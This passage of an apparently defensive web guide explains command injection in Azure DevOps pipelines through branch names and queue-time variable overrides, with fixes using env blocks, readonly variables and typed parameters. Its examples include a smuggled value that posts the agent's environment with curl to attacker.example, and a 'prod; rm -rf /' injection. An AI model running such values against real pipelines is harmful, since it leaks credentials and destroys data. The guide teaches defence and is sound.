style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='388' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='404' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='420' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='68' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='180' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='244' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='308' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='324' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='388' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='404' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='420' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='68' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='180' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='228' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='244' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='308' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='324' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='388' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='404' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='420' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='68' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='180' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='228' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='244' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='308' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='388' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='404' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='420' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='180' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='228' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='244' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='308' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='324' fill='currentColor' style='font-size:1em'\u003e=\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='388' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='404' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='420' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='180' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='228' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='244' fill='currentColor' style='font-size:1em'\u003e_\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='388' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='404' fill='currentColor' style='font-size:1em'\u003e_\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='420' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='244' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='388' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='404' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='180' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='228' fill='currentColor' style='font-size:1em'\u003e$\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='244' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='388' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='404' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='180' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='228' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='244' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='404' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='180' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='228' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='244' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='404' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='180' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='404' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='180' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='180' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='180' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003c/g\u003e\n\n    \u003c/svg\u003e\n  \n\u003c/div\u003e\n\u003cp\u003e\u003cstrong\u003eVisual Notes:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eUnsafe Flow:\u003c/strong\u003e The malicious input becomes part of the \u003cstrong\u003ecommand structure\u003c/strong\u003e during substitution. The shell interprets the semicolon as a command terminator and executes the rest.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eSafe Flow:\u003c/strong\u003e The malicious input is passed as \u003cstrong\u003eprocess data\u003c/strong\u003e. The shell treats it as a single string, and metacharacters like \u003ccode\u003e;\u003c/code\u003e or \u003ccode\u003e|\u003c/code\u003e lose their special meaning.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThis class of vulnerability applies to any predefined variable sourced from attacker-controlled Git metadata. The mechanism is identical for commit messages and PR fields.\u003c/p\u003e\n\u003ch3 id=\"the-fix--the-env-block-pattern\"\u003eThe Fix — The \u003ccode\u003eenv:\u003c/code\u003e Block Pattern\u003c/h3\u003e\n\u003cp\u003eAssign the macro-expanded value to an environment variable in the step\u0026rsquo;s \u003ccode\u003eenv:\u003c/code\u003e block. Reference the environment variable inside the script using the shell\u0026rsquo;s native variable syntax.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# SECURE: branch name passed as process environment variable — metacharacters are inert\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e      echo \u0026#34;Building branch $BRANCH_NAME\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e      docker build -t \u0026#34;myapp:$BRANCH_NAME\u0026#34; .\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Build image\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eenv\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eBRANCH_NAME\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e$(Build.SourceBranchName)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe OS passes environment variables to the child process through a separate channel from the command string. The shell expands \u003ccode\u003e$BRANCH_NAME\u003c/code\u003e after the command is already parsed. By the time the shell sees the value, the command structure is fixed — the semicolons, pipes, and backticks in the value are data inside a string, not shell syntax.\u003c/p\u003e\n\u003cp\u003eWith the \u003ccode\u003eenv:\u003c/code\u003e block pattern:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eThe command string is a compile-time constant that contains no user-controlled content\u003c/li\u003e\n\u003cli\u003eThe attacker-controlled value arrives at the script as process data, not as part of the command\u003c/li\u003e\n\u003cli\u003eThe double-quoting (\u003ccode\u003e\u0026quot;myapp:$BRANCH_NAME\u0026quot;\u003c/code\u003e) prevents word splitting and glob expansion, covering the case where the branch name contains spaces\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eIn PowerShell steps, reference the variable as \u003ccode\u003e$env:BRANCH_NAME\u003c/code\u003e:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003epwsh\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e      Write-Host \u0026#34;Building branch $env:BRANCH_NAME\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e      docker build -t \u0026#34;myapp:$env:BRANCH_NAME\u0026#34; .\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Build image (PowerShell)\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eenv\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eBRANCH_NAME\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e$(Build.SourceBranchName)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"high-risk-predefined-variables\"\u003eHigh-Risk Predefined Variables\u003c/h3\u003e\n\u003cp\u003eEvery predefined variable sourced from Git metadata or user-submitted PR data is a potential injection vector. Treat all of them as untrusted input:\u003c/p\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003eVariable\u003c/th\u003e\n          \u003cth\u003eSource\u003c/th\u003e\n          \u003cth\u003eRisk\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003ccode\u003e$(Build.SourceBranchName)\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003eGit ref name\u003c/td\u003e\n          \u003ctd\u003eHigh — branch names allow shell metacharacters\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003ccode\u003e$(Build.SourceBranch)\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003eFull ref path (refs/heads/\u0026hellip;)\u003c/td\u003e\n          \u003ctd\u003eHigh — same source, more characters\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003ccode\u003e$(Build.SourceVersionMessage)\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003eGit commit message\u003c/td\u003e\n          \u003ctd\u003eHigh — developers legitimately use \u003ccode\u003e`\u003c/code\u003e, \u003ccode\u003e\u0026quot;\u003c/code\u003e, \u003ccode\u003e;\u003c/code\u003e in commit messages\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003ccode\u003e$(System.PullRequest.SourceBranch)\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003ePR source branch\u003c/td\u003e\n          \u003ctd\u003eHigh\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003ccode\u003e$(System.PullRequest.Title)\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003ePR title (user input)\u003c/td\u003e\n          \u003ctd\u003eHigh\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003ccode\u003e$(Build.RequestedFor)\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003eTriggering user\u0026rsquo;s display name\u003c/td\u003e\n          \u003ctd\u003eMedium — display names can contain special chars\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003ccode\u003e$(Build.Repository.Name)\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003eRepository name\u003c/td\u003e\n          \u003ctd\u003eMedium — org-controlled but validate on cross-org triggers\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003eApply the \u003ccode\u003eenv:\u003c/code\u003e block pattern to every script step that uses any of these variables. There is no safe way to use them directly in a command string.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"injection-vector-2--queue-time-variable-overrides\"\u003eInjection Vector 2 — Queue-Time Variable Overrides\u003c/h2\u003e\n\u003ch3 id=\"how-queue-time-overrides-work\"\u003eHow Queue-Time Overrides Work\u003c/h3\u003e\n\u003cp\u003eAny pipeline variable defined in the YAML \u003ccode\u003evariables:\u003c/code\u003e block can be overridden at queue time by a user with \u0026ldquo;Queue builds\u0026rdquo; permission — they supply a custom value in the \u0026ldquo;Run pipeline\u0026rdquo; dialog or through the REST API (\u003ccode\u003ePOST /build/builds\u003c/code\u003e). The override applies to every use of \u003ccode\u003e$(varName)\u003c/code\u003e in the pipeline run.\u003c/p\u003e\n\u003cp\u003eThe vulnerable pattern:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# VULNERABLE: deployTarget can be overridden to any value at queue time\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003evariables\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edeployTarget\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003evalue\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ekubernetes.prod.internal\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ekubectl config use-context $(deployTarget)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Set deployment context\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ekubectl apply -f manifests/ --context=$(deployTarget)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Apply manifests\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eA user with \u0026ldquo;Queue builds\u0026rdquo; permission triggers the pipeline with \u003ccode\u003edeployTarget\u003c/code\u003e set to \u003ccode\u003ekubernetes.attacker.internal\u003c/code\u003e — or with \u003ccode\u003ekubernetes.prod.internal; cat /proc/1/environ | base64 | curl -d @- https://attacker.example/dump\u003c/code\u003e — and the pipeline deploys to the wrong cluster or exfiltrates the agent\u0026rsquo;s environment.\u003c/p\u003e\n\u003ch3 id=\"readonly-true--locking-variables\"\u003e\u003ccode\u003ereadonly: true\u003c/code\u003e — Locking Variables\u003c/h3\u003e\n\u003cp\u003eAdd \u003ccode\u003ereadonly: true\u003c/code\u003e to any variable declaration that should not be overridden at queue time or modified by \u003ccode\u003e##vso[task.setvariable]\u003c/code\u003e logging commands inside a running job:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003evariables\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edeployTarget\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003evalue\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ekubernetes.prod.internal\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ereadonly\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e    \u003cspan style=\"color:#75715e\"\u003e# queue-time override rejected; ##vso[task.setvariable] blocked\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003econtainerRegistry\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003evalue\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003emyregistry.azurecr.io\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ereadonly\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ebuildId\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003evalue\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e$(Build.BuildId)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ereadonly\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eWhen a user attempts to override a \u003ccode\u003ereadonly: true\u003c/code\u003e variable in the \u0026ldquo;Run pipeline\u0026rdquo; UI, the field is grayed out. When a running script attempts to override it via \u003ccode\u003e##vso[task.setvariable variable=deployTarget]kubernetes.attacker.internal\u003c/code\u003e, the agent logs:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eVariableName is read-only and can\u0026#39;t be changed.\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eMark any variable that influences: the deployment target, the environment name, the service connection selector, the artifact feed URL, or any security-relevant path.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eLimitation:\u003c/strong\u003e \u003ccode\u003ereadonly: true\u003c/code\u003e applies only to variables defined in the YAML \u003ccode\u003evariables:\u003c/code\u003e block. It does not affect variables defined in the Azure DevOps UI (pipeline variables tab) or variables supplied by variable groups. Furthermore, if a \u003ccode\u003e- group:\u003c/code\u003e appears \u003cem\u003eafter\u003c/em\u003e a YAML variable definition of the same name, the group\u0026rsquo;s value overwrites the YAML value and the \u003ccode\u003ereadonly\u003c/code\u003e status may be lost. Restrict variable group access in the Library security settings.\u003c/p\u003e\n\u003ch3 id=\"typed-parameters-as-a-stronger-gate\"\u003eTyped Parameters as a Stronger Gate\u003c/h3\u003e\n\u003cp\u003e\u003ccode\u003ereadonly: true\u003c/code\u003e locks a specific value. A typed parameter with a \u003ccode\u003evalues:\u003c/code\u003e constraint enforces an allowlist — only values in the approved list are accepted, and the check happens at parse time before any agent is allocated:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# SECURE: deployEnvironment is validated against an allowlist at parse time\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edeployEnvironment\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estring\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003evalues\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003edev\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003estaging\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003eprod\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ebash\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ekubectl config use-context \u0026#34;$DEPLOY_ENV\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Set deployment context\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eenv\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eDEPLOY_ENV\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.deployEnvironment }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eIf a caller passes \u003ccode\u003eprod; rm -rf /\u003c/code\u003e, Azure DevOps rejects the run at parse time:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e/azure-pipelines.yml (Line: 4, Col: 7): \u0026#39;prod; rm -rf /\u0026#39; is not a valid value for \u0026#39;deployEnvironment\u0026#39;. Valid values: dev, staging, prod.\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eNo agent starts. No credentials are loaded. The rejection is instantaneous.\u003c/p\u003e\n\u003cp\u003eTyped parameters are stronger than \u003ccode\u003ereadonly: true\u003c/code\u003e for two reasons: they enforce an allowlist (not just immutability), and they block invalid values even when the parameter comes from another template\u0026rsquo;s parameter pass-through.\u003c/p\u003e\n\u003cp\u003eUse 